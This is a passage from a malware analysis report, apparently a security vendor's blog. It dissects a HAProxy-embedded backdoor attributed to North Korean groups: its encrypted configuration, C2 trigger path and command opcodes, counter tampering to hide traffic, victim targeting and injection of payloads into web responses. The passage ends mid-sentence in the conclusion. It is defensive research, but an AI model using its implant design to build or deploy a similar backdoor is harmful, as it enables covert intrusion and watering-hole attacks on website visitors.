sys-style-type="display"/><figcaption style="text-align:center">Figure 10: ted_plugin compiled as part of the source code</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Figure 10 shows that the plugin was directly compiled with the rest of HAProxy source code and hooks directly the built-in HTTP parser relying on internal HAProxy structure for searching HTTP request headers.</span><span style='color:rgb(60, 64, 67);font-size: undefined;'> </span><span style='font-size: undefined;'>The custom filter defined to capture traffic is loaded via the </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_load_filter_config</span></span><span style='font-size: undefined;'> routine. </span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd4e372705f58b8ee/6a99bff43eabd01ddf441c16/fig11.png" alt="fig11.png" caption="Figure 11: my_filter_config struct" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig11.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd4e372705f58b8ee/6a99bff43eabd01ddf441c16/fig11.png" data-sys-asset-uid="bltd4e372705f58b8ee" data-sys-asset-filename="fig11.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 11: my_filter_config struct" data-sys-asset-alt="fig11.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 11: my_filter_config struct</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The routine reads the implant's operational configuration from </span><span style='font-size: undefined;'><span data-type='inlineCode'>~/cache/haproxy-1000.cache</span></span><span style='font-size: undefined;'>. Each field is decrypted in two layers: first </span><span style='font-size: undefined;'><span data-type='inlineCode'>ngx_decode</span></span><span style='font-size: undefined;'> applies a chained XOR seeded by the file's first byte; then </span><span style='font-size: undefined;'><span data-type='inlineCode'>ngx_decrypt_script</span></span><span style='font-size: undefined;'> applies a monoalphabetic substitution whose 67-entry mapping table is built at startup in </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_init_util</span></span><span style='font-size: undefined;'> from “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/--__" , and held in the </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_dec_dict</span></span><span style='font-size: undefined;'> uthash table keyed by Jenkins hash for O(1) lookup. The config carries the operating mode, all targeting regexes, every script rule with its payload paths and filenames, and the allowed operator keys. IP-based access control lists are loaded from </span><span style='font-size: undefined;'><span data-type='inlineCode'>haproxy-1001.cache</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>haproxy-1002.cache</span></span><span style='font-size: undefined;'> via the same decryption scheme. In other ted backdoor samples, the my_filter_config struct includes regexes to capture cookies as well.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>After loading its configuration, it sets up signal handling via </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_register_reload_signal_handler()</span></span><span style='font-size: undefined;'> and saves its C2 pipe under </span><span style='font-size: undefined;'><span data-type='inlineCode'>HAPROXY_MWORKER_PP_READ</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>HAPROXY_MWORKER_PP_WRITE</span></span><span style='font-size: undefined;'> environmental variables to survive reloads and restarts, saving child process activity via </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_extra_log()</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Below is the list of functions defined by the ted_plugin:</span></p><p><span style='font-size: undefined;'></span></p><table><colgroup data-width='1767'><col style="width:18.053197509903793%"/><col style="width:81.9468024900962%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'>C</span><span style='font-size: undefined;'>apability</span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'>ted_* routines</span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>HTTP interception and traffic hooking</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted_flt_register_ops2, ted_http_headers_for_htx, ted_chn_analyze_for_htx_constprop_0, ted_chn_analyze_for_htx_constprop_0_cold, ted_http_payload, ted_find_value_from_header_ist</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2 and task execution</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted_pipe_master_thread, ted_pipe_worker_thread, ted_task_for_response, ted_alloc_task_context</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>IPC and pipes</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted_init_main_pipe, ted_create_pipe_file, ted_create_multi_pipe_file, ted_make_pipe_name</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Configuration and rules engine</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted_load_filter_config, ted_reload_filter_config, ted_free_filter_config, ted_load_ip_set</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>In-memory data structures</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted_set_add, ted_set_contains, ted_set_clean, ted_set_add_string, ted_set_contains_string, ted_set_clean_string</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Logging, file I/O</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted_extra_log, ted_save_capture_log2, ted_write_fd, ted_build_correct_path</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Initialization and persistence</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted_init_util, ted_register_reload_signal_handler, ted_regex_free</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The HAProxy trace_ops struct is copied into my_filter_ops, and contains a hooked tracing method.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt86751a3ddcb73b66/6a99c07560f795b250d7841d/fig12.png" alt="fig12.png" caption="Figure 12: my_filter_ops containing hooked methods" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig12.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt86751a3ddcb73b66/6a99c07560f795b250d7841d/fig12.png" data-sys-asset-uid="blt86751a3ddcb73b66" data-sys-asset-filename="fig12.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: my_filter_ops containing hooked methods" data-sys-asset-alt="fig12.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 12: my_filter_ops containing hooked methods</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>trace_chn_start_analyze()</span></span><span style='font-size: undefined;'> is hooked via </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_chn_analyze_for_htx_constprop_0()</span></span><span style='font-size: undefined;'> that parses the HTX buffer — the memory region where HAProxy stores parsed, SSL-decrypted HTTP request. If an incoming request matches the endpoint "/favorite_list_2x_m500_ico.jpg" (Figure 13), the malware drops into a Command & Control mode, setting the field flag to 1 in the </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_rep_state</span></span><span style='font-size: undefined;'> structure that tracks the response state. </span></p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb4d77cd521a6f6ad/6a99c0bf27a5317512dc9ff9/fig13.png" height="519" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="fig13.png" asset-alt="fig13.png" width="1195" max-width="1195" max-height="519" style="max-width: 1195px; width: 1195px; max-height: 519px; height: 519px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb4d77cd521a6f6ad/6a99c0bf27a5317512dc9ff9/fig13.png" data-sys-asset-uid="bltb4d77cd521a6f6ad" data-sys-asset-filename="fig13.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="fig13.png" sys-style-type="display"/></figure><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltdf5e7e85f5bbbdeb/6a99c0bfa163361493372f56/fig135.png" alt="fig135.png" caption="Figure 13: Dropping into C2 mode" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig135.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltdf5e7e85f5bbbdeb/6a99c0bfa163361493372f56/fig135.png" data-sys-asset-uid="bltdf5e7e85f5bbbdeb" data-sys-asset-filename="fig135.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Dropping into C2 mode" data-sys-asset-alt="fig135.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 13: Dropping into C2 mode</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>First, it reaches into HAProxy's internal counters to decrement active connection stats, referencing fields from the proxy struct via hardcoded 2.8.12 offsets to clear any trace left: the per-backend </span><span style='font-size: undefined;'><span data-type='inlineCode'>beconn</span></span><span style='font-size: undefined;'>/</span><span style='font-size: undefined;'><span data-type='inlineCode'>feconn</span></span><span style='font-size: undefined;'> and the global </span><span style='font-size: undefined;'><span data-type='inlineCode'>actconn</span></span><span style='font-size: undefined;'>, then 64-bit fields within </span><span style='font-size: undefined;'><span data-type='inlineCode'>be_counters</span></span><span style='font-size: undefined;'> (</span><span style='font-size: undefined;'><span data-type='inlineCode'>cum_conn</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>cum_req</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>bytes_in</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>bytes_out</span></span><span style='font-size: undefined;'>) guarded against underflow, and 32-bit peak metrics (</span><span style='font-size: undefined;'><span data-type='inlineCode'>sps_max</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>conn_max</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>cps_max</span></span><span style='font-size: undefined;'>) decremented only when exactly 1. Secondly, it parses a custom hardcoded 14-byte header to obtain the payload length, then creates FIFO pipes via </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_make_pipe_name</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_create_multi_pipe_file</span></span><span style='font-size: undefined;'> keyed on HAProxy's connection ID under </span><span style='font-size: undefined;'><span data-type='inlineCode'>/tmp</span></span><span style='font-size: undefined;'> (e.g. </span><span style='font-size: undefined;'><span data-type='inlineCode'>/tmp/t[ID]_w.pipe</span></span><span style='font-size: undefined;'>). If HAProxy is running in master-worker mode (</span><span style='font-size: undefined;'><span data-type='inlineCode'>MODE_MWORKER</span></span><span style='font-size: undefined;'>, bit 0x80), the connection ID is written to the </span><span style='font-size: undefined;'><span data-type='inlineCode'>pp_w2m</span></span><span style='font-size: undefined;'> pipe so the master process runs the dispatcher; otherwise a detached thread runs </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_pipe_worker_thread</span></span><span style='font-size: undefined;'> locally (Figure 13).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The HTX walk filters on block type 4, which is </span><span style='font-size: undefined;'><span data-type='inlineCode'>HTX_BLK_DATA</span></span><span style='font-size: undefined;'>, and writes each block straight into </span><span style='font-size: undefined;'><span data-type='inlineCode'>fdPipe</span></span><span style='font-size: undefined;'> with </span><span style='font-size: undefined;'><span data-type='inlineCode'>write()</span></span><span style='font-size: undefined;'>. Any short write aborts and closes the pipe. Afterwards </span><span style='font-size: undefined;'><span data-type='inlineCode'>to_forward</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>output</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>buf.head</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>buf.data</span></span><span style='font-size: undefined;'> on the request channel are all zeroed. That tells HAProxy there is nothing left to forward, so the attacker's command body never reaches a backend server. The C2 request terminates at the load balancer, and no backend ever logs it.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The C2 dispatcher logic is resumed in the table below.</span></p><p><span style='font-size: undefined;'></span></p><table><colgroup data-width='1525'><col style="width:13.049180327868854%"/><col style="width:86.95081967213115%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'>Command</span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'>Description</span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Opcode '0' (0x30)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Beacon: returns a version banner including build ID (24112201), HAProxy version (2.8.12-0fdb194), master-worker mode status, and chroot path.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Opcode '1' (0x31)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>File upload: resolves path via ted_build_correct_path, writes file content via fopen(path, "wb"), and replies 1. Used to upload payload files for the injection path.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Opcode '2' (0x32)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>File download: reads a path, stats it, writes the 8-byte size, and streams the contents back with EAGAIN handling.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Opcode '3' (0x33)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command execution: executes commands via popen; merges stdout/stderr, appends " 2&gt;&1", and streams output back XOR-encrypted.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Opcode '9' (0x39)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Config update: writes new config to ~/cache/haproxy-1000.cache.bak, re-encrypts using chained XOR, validates via ted_load_filter_config, and renames over the active config file if successful.</span></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>All five handlers write the same “HTTP/1.0 200 OK” header with Content-Type: text/html into the read pipe before the body. That's what the response task then relays out via </span><span style='font-size: undefined;'><span data-type='inlineCode'>send()</span></span><span style='font-size: undefined;'> on the raw socket, which is why the traffic looks like an ordinary HTTP response on the wire despite never passing through HAProxy's response path. Output back to the operator uses a rolling XOR cipher where each plaintext block is the key used to encrypt the next block with a random 1-byte seed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>If the initial endpoint check does not match "/favorite_list_2x_m500_ico.jpg" and the filter is in capture mode, then traffic is selectively logged and victims are identified based on the </span><span style='font-size: undefined;'><span data-type='inlineCode'>capturelist_set</span></span><span style='font-size: undefined;'> field within the </span><span style='font-size: undefined;'><span data-type='inlineCode'>my_filter_config</span></span><span style='font-size: undefined;'> struct (Figure 11), containing the list of targeted IPs and subnets. It uses regular expressions to filter the incoming HTTP traffic, waiting for high-value requests (like a user hitting a /login endpoint or an admin panel).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When a victim's request matches the attacker's filters, the backdoor goes to work.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>It extracts the victim's source IP, the requested Host, the Referer, and the User-Agent formatting the data in a single-line record using exclamation marks as separators</span><span style='font-size: undefined;'><strong>.</strong></span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt354d73897f68b46f/6a99c169e1500a3cba017f6f/fig14.png" alt="fig14.png" caption="Figure 14: Real-time capturing of selected HTTP headers matching specific regexes" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig14.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt354d73897f68b46f/6a99c169e1500a3cba017f6f/fig14.png" data-sys-asset-uid="blt354d73897f68b46f" data-sys-asset-filename="fig14.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 14: Real-time capturing of selected HTTP headers matching specific regexes" data-sys-asset-alt="fig14.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 14: Real-time capturing of selected HTTP headers matching specific regexes</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The execution flow continues based on conf-&gt;action; zero means passive logging only, non-zero starts the injection path. A request then has to clear four conditions. It needs a </span><span style='font-size: undefined;'><span data-type='inlineCode'>User-Agent</span></span><span style='font-size: undefined;'>, and if </span><span style='font-size: undefined;'><span data-type='inlineCode'>agent_pattern</span></span><span style='font-size: undefined;'> is configured that regex has to match. Second, the code scans the User-Agent for the bytes x,6,4, it selects between the two payload paths the matched rule retrieving them </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_script_config</span></span><span style='font-size: undefined;'> struct (path_32 at offset 0x18 and path_64 at 0x20). Third, the script rule list is walked until one </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_script_config</span></span><span style='font-size: undefined;'> entry's URL and referer regexes both match, with a null referer counting as an automatic pass. Thus the operator catches a victim arriving at a specific page from a specific referrer, rather than spraying at everyone hitting a URL.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt794c649ceafa88ea/6a99c1b6144a15a655de5222/fig15.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="fig15.png" asset-alt="fig15.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt794c649ceafa88ea/6a99c1b6144a15a655de5222/fig15.png" data-sys-asset-uid="blt794c649ceafa88ea" data-sys-asset-filename="fig15.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="fig15.png" sys-style-type="display"/></figure><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8d800efe34c0376b/6a99c1b6ecdaa72e7b053550/fig155.png" height="643" alt="fig155.png" caption="Figure 15: Custom ted structure defined to inject malicious code in the page, and store regex rules and the connection context" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig155.png" width="599" style="width: 599px; height: 643px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8d800efe34c0376b/6a99c1b6ecdaa72e7b053550/fig155.png" data-sys-asset-uid="blt8d800efe34c0376b" data-sys-asset-filename="fig155.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 15: Custom ted structure defined to inject malicious code in the page, and store regex rules and the connection context" data-sys-asset-alt="fig155.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 15: Custom ted structure defined to inject malicious code in the page, and store regex rules and the connection context</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Fourth, the implant parses Accept</span><span style='font-size: undefined;'><strong>-</strong></span><span style='font-size: undefined;'>Language splitting on ; and =, pulling four operator-controlled fields: mrt for the 64-byte uid credential, msc for an 8-byte status, mst for an 8-byte score, and a fourth keyword read from off_355407 for a 1024-byte info</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>blob. Parsing is order-independent and any subset can appear. If mrt yields a key, it must exist in allow_id_set, and that credential overrides IP filtering entirely, letting the operator reach the requested page from anywhere. It also upgrades the log record to the *-prefixed format carrying uid</span><span style='font-size: undefined;'><strong>, </strong></span><span style='font-size: undefined;'>status,</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>score, and info. With no key, the fallback is IP-based:</span><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>action == 1</span><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>requires whitelist membership, action == 2 requires blacklist absence, both checked twice, once with the final octet zeroed for /24 subnet matching and once for the exact host.</span><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong> </strong></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once all checks are cleared the chosen file is opened, stored in the per-connection </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_rep_state</span></span><span style='font-size: undefined;'> as </span><span style='font-size: undefined;'><span data-type='inlineCode'>fpAppend</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>nTotal</span></span><span style='font-size: undefined;'>, alongside a </span><span style='font-size: undefined;'><span data-type='inlineCode'>script_conf</span></span><span style='font-size: undefined;'> back-reference to the matched rule. The replace byte at offset 0x00 of that rule sets flag to 4 when zero and 2 when non-zero, distinguishing appending content from substituting it. Finally the code sets its filter flag and increments </span><span style='font-size: undefined;'><span data-type='inlineCode'>nb_rsp_data_filters</span></span><span style='font-size: undefined;'> or </span><span style='font-size: undefined;'><span data-type='inlineCode'>nb_req_data_filters</span></span><span style='font-size: undefined;'> on the stream, which is HAProxy's documented opt-in for body access– this time reusing the internal structure of the load balancer to inject code into the page at delivery time.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt16fc773dd9007e22/6a99c2103eabd0222b441c22/image6.png" alt="image6.png" caption="Figure 16: Hooking the HTTP response" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="image6.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt16fc773dd9007e22/6a99c2103eabd0222b441c22/image6.png" data-sys-asset-uid="blt16fc773dd9007e22" data-sys-asset-filename="image6.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 16: Hooking the HTTP response" data-sys-asset-alt="image6.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 16: Hooking the HTTP response</figcaption></div></figure><p style="text-align: center;direction: ltr;">⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Once a victim is marked for injection, two callbacks finish the job on the way out. </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_http_headers_for_htx</span></span><span style='font-size: undefined;'> runs first, and only when the data is on the response side, a state block is initialized during the request, and the transaction flag is set. It rechecks the response against the rule that matched earlier, testing Content-Type and the status line, so a payload is delivered only when the reply is a document worth modifying. It then reshapes the response to fit the incoming file: sets Content-Type, adds a Content-Disposition filename if the rule has one, writes the new body length into the custom length header, deletes Accept-Ranges so the client cannot request byte ranges and spot the size mismatch, and forces the status to 200</span><span style='color:rgb(24, 128, 56);font-size: undefined;'> </span><span style='font-size: undefined;'>OK if it was anything else.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>ted_http_payload</span></span><span style='font-size: undefined;'> performs the swap. For each body chunk, it takes only as much as the payload file has left, reads that slice from disk, decrypts it with </span><span style='font-size: undefined;'><span data-type='inlineCode'>ngx_decrypt_script</span></span><span style='font-size: undefined;'>, and substitutes it through HAProxy's own body-editing calls. When the replacement changes the body length, the code shifts every remaining filter's offset by the difference, so nothing downstream sees an inconsistency. With the rewritten length header and range support stripped, the size change leaves no trace.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>trace_http_end handles the leftover bytes. The previous callback can only overwrite bytes that already exist in the response, so when the payload is larger than the original body there is a remainder with nowhere to go. This function runs at the end of the response and appends it. It checks that the state block is in an injection mode, that the headers were already rewritten, and that fewer bytes have been delivered than the payload holds. If so, it measures the free space left in the response buffer, reads exactly that much from the payload file, decrypts it with </span><span style='font-size: undefined;'><span data-type='inlineCode'>ngx_decrypt_script</span></span><span style='font-size: undefined;'>, and appends it as a new data block, bumping the channel's output count to match. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The result is that a payload of any size can be delivered across as many passes as it takes, using HAProxy's own scheduler to drive the process.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To ensure persistence, curlRAT is integrated and hidden as libc routines.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad22dc349282d1b4/6a99c23e5f9db770d2562114/image9.png" alt="image9.png" caption="Figure 17: ted backdoor including curlRAT configuration a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="image9.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad22dc349282d1b4/6a99c23e5f9db770d2562114/image9.png" data-sys-asset-uid="bltad22dc349282d1b4" data-sys-asset-filename="image9.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 17: ted backdoor including curlRAT configuration a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7" data-sys-asset-alt="image9.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 17: ted backdoor including curlRAT configuration a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7</figcaption></div></figure><p>⠀</p><h2><span style='font-size: undefined;'>Attacker infrastructure</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>The observed infrastructure follows a consistent pattern: Domains are registered under low-cost commodity TLDs —</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>.store, .space, .site, .autos — and use subdomain schemes mimicking image-serving CDN endpoints (img.) They then blend payload delivery traffic into normal web browsing. The naming convention across suggests a shared registration workflow rather than ad-hoc infrastructure. The</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'><span data-type='inlineCode'>img.responsive.pstatic.autos</span></span><span style='font-size: undefined;'> mimics Naver's</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>pstatic.net static content domain, a South Korean web platform, which combined with the watering-hole delivery model adopted by the ted backdoor is consistent with targeting of Korean-speaking users.</span></p><h2><span style='font-size: undefined;'>Attribution</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>At the time of the analysis, compromised servers had exposed the Groupware login portal on port 443, which is heavily present in Korean enterprise environments. The targeting of regional software (Groupware), mimicking Naver's static content domain, usage of simple xor and substitution ciphers and the watering-hole model already documented in the</span><a href="https://image.ahnlab.com/atip/content/file/20241126/(ENG%20ver)Operation%20Code%20on%20Toast(full).pdf" target="_blank"><span style='font-size: undefined;'> Operation Code on Toast</span></a><span style='font-size: undefined;'> (APT37)</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>and </span><a href="https://securelist.com/operation-synchole-watering-hole-attacks-by-lazarus/116326/" target="_blank"><span style='font-size: undefined;'>Operation Synchole</span></a><span style='font-size: undefined;'> (Lazarus),</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>allows medium confidence attribution to DPRK APT. The list of C2s hardcoded is associated with APT37 by </span><a href="https://threatfox.abuse.ch/browse/tag/RicochetChollima/" target="_blank"><span style='font-size: undefined;'>ThreatFox</span></a><span style='font-size: undefined;'> and </span><a href="https://github.com/stamparm/maltrail/blob/master/trails/static/malware/apt_37.txt" target="_blank"><span style='font-size: undefined;'>maltrail</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The campaign's timeline and delivery mechanism overlap with Operation SyncHole, a concurrent Lazarus campaign documented by Kaspersky running from November 2024 through February 2025, in which Lazarus compromised South Korean media sites to redirect visitors to pages serving malicious JavaScript payloads. APT37 and Lazarus Group are distinct North Korean state-sponsored threat clusters assessed by </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023" target="_blank"><span style='font-size: undefined;'>Mandiant</span></a><span style='font-size: undefined;'> to operate under different DPRK agencies — APT37 under the Ministry of State Security, Lazarus under the Reconnaissance General Bureau — though both conduct cyber espionage targeting South Korean entities. Lazarus has been observed to deploy backdoored </span><a href="https://ics-cert.kaspersky.com/publications/reports/2023/09/25/apt-and-financial-attacks-on-industrial-organizations-in-h1-2023/#korean-speaking-activity" target="_blank"><span style='font-size: undefined;'>open-source</span></a><span style='font-size: undefined;'> programs to deliver malware and use feedback XOR + base64 to interact with the C2 by </span><a href="https://securelist.com/lazarus-andariel-mistakes-and-easyrat/110119/" target="_blank"><span style='font-size: undefined;'>Kaspersky</span></a><span style='font-size: undefined;'>. As of July 2026, similar suspected initial access has been reported by </span><a href="https://www.enki.co.kr/en/media-center/blog/analysis-of-kimsuky-s-attack-on-a-south-korean-groupware-vendor-using-a-new-gomir-family-variant" target="_blank"><span style='font-size: undefined;'>ENKI WhiteHat</span></a><span style='font-size: undefined;'>, suggesting that if a vulnerability in South Korean mail appliances exists, the exploitation could still be ongoing and leveraged by DPRK APTs.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Further evidence is necessary to make a more definitive assessment. Moreover, the presence of</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>ngx_* prefixed routines within the ted backdoor</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>suggest code reused from an nginx backdoor. The ngx_* prefixed routines were observed during the latest </span><a href="https://blog.xlab.qianxin.com/funnull-resurfaces-exposing-ringh23-arsenal-and-maccms-supply-chain-attacks/" target="_blank"><span style='font-size: undefined;'>Funnull</span></a><span style='font-size: undefined;'> campaign, where (similar to our case) a custom nginx filter was registered to hook HTTP traffic, and simple XOR encryption was applied to the configuration file. However, other than a similar naming convention, no significant code-level overlaps exist to support a stronger linkage.</span></p><h2><span style='font-size: undefined;'>Conclusion</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>ted backdoor and curlRAT were designed to persist during 